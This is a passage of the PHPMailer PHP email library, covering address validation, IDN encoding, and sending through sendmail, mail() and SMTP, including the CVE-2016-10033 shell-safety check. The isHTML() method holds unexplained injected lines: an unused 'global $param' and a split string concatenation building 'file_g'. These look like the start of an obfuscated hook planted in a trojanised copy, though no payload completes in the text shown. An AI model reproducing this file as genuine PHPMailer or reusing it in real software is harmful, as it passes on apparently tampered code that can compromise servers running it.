@param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 